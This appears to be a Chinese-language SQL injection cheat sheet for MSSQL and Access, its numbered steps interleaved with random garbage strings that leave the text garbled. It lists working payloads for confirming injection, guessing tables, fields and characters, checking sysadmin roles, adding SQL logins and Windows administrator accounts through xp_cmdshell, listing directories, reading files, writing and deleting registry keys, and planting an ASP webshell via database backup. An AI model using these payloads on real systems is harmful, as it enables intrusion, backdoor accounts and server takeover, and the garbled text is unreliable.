1.判断是否有注入;and 1=1 ;and 1=2 ";I|\ T
2.初步判断是否是mssql ;and user>0 LLa72HW
ddf#c,SQ
3.注入参数是字符'and [查询条件] and ''=' ,mu=#}a@}
xz@/^Cj
4.搜索时没过滤参数的'and [查询条件] and '%25'=' p6qza @
5<?O S &B
5.判断数据库系统 ciq'fy
G=[=[o\
;and (select count(*) from sysobjects)>0 mssql i2PPVT
D~KEjz!bQ
;and (select count(*) from msysobjects)>0 access hXvg<Rf
?5%0zMC
oZ)\Ya=
JWu^7}@~=
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ^>g7Kg"0
|{KZ<
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ,ZVC@P,L
-I#]#i@gX
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 i[gq8%
sj)$o94=
9.(1)猜字段的ascii值(access) o6 FSSKM
l'_P]@*
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Lyx \ s;
FfDe&/,/
(2)猜字段的ascii值(mssql) *AO^oBeY
Af zE0mBW
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 S{v [65
;ew3^i.du
10.测试权限结构(mssql) C+iIvRYC
F2;k 6M@
sC8C><y
8P wobln
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- +1 K9R\
!y8/El
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- l?+67cQLA
XJ3 5Z+M
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _L?`C
i7qG5U
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- mN_KAln
:{iS0qJ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- t%<@k)hd~G
<i~MBy.
(
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- MX=mGfoa
XO*|P\#^
;and 1=(select IS_MEMBER('db_owner'));-- qusX]Tstz
3Mvm'T:[
E~=`Ac,G2
:R/szE*Ak
11.添加mssql和系统的帐户 @O;gKFx
{X=gjQ9
;exec master.dbo.sp_addlogin username;-- T.1*32cX
;exec master.dbo.sp_password null,username,password;-- gFJ.
p
aY^_+&&G
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- dS7?[[pg9
D ^ mfWJS
;exec master.dbo.xp_cmdshell 'net user username password QLq^[>n
w7.I0)MH
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- __}j
{Buk
I8|7~jRB
;exec master.dbo.xp_cmdshell 'net user username password /add';-- >680}\S
S7tc
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- VEolyPcsg&
gm**9]k ^{
oW:p6d
L-7?:
12.(1)遍历目录 )qGw!^8
e8HGST`
;create table dirs(paths varchar(100), id int) *\?tW]8<
eOZ0L1JM!
;insert dirs exec master.dbo.xp_dirtree 'c:\' gNon*\a,-B
_Y7uM6HL\
;and (select top 1 paths from dirs)>0 ;~&F}!pQ
K{]!hm,[3
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) \tLfB[S.5
/{eD##vhP
sN6R0YW
s~ZLnEb
(2)遍历目录 `QH-VR\_
NaeG2>1
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- x|#R$^4CY
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 JXG%Cx!2}
\KlO j%s
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 S4/CL4=
z(sfX}%
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 C;#-2^h
alQMPQVin
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 VdrqbZ
OK{_WTCe>
!d@q T.
),#%jc2_^
13.mssql中的存储过程 <ID/\Qx`q
MfJ;":]O!
xp_regenumvalues 注册表根键, 子键 &5]&6TD6
0n5{Wr$
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 jB+K)NXHL
!Cq2<[K#
xp_regread 根键,子键,键值名 !f
7CN<
-;/;d z;
;exec xp_regread LvlVZjT
|@{4zoP_N
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 =Q#}
,T
xgw[)!g^\
xp_regwrite 根键,子键, 值名, 值类型, 值 {+CW_ce
!(:R=J_h
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 W @R\m=e2
.h!oo;@
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 oPSucz&s
{)E)&lL
xp_regdeletevalue 根键,子键,值名 3lw
KV
~b.C[s
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 {q=(x]C
>/,7j:X
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 PuKT0*_ 7
OEz'&))J
(9!$p|d*
A*;I}F
14.mssql的backup创建webshell _wMc7`6F
%,HuG-L
use model 84xA/BR W
F` /mcyf
create table cmd(str image); =o g5Mh,
x|>N
insert into cmd(str) values (''); gIGyY7{(s8
~s#vP<QHa
backup database model to disk='c:\l.asp'; wR)U&da`@
tO0MYEx"
A 9I5
@'go?E)f
15.mssql内置函数 99GzhX_
gXrPZ|iS
;and (select @@version)>0 获得Windows的版本号 r_m*$r~f
-0W s3
;and user_name()='dbo' 判断当前系统的连接用户是不是sa a: Ch"la
8SV.giG;
;and (select user_name())>0 爆当前系统的连接用户 S;pKL,d>r
l~|x*JTq
;and (select db_name())>0 得到当前连接的数据库 L'=mDb
"
3ryp
A
A1VbqA
l/(|rl#6
16.简洁的webshell BSe{HmDq
j2@19YXe@
use model /Y NV
@|3PV
create table cmd(str image); woQ UrO(
1N8:,bpsT
insert into cmd(str) values (''); dvPK5+0W?
2n/cqK
backup database model to disk='g:\wwwtest\l.asp';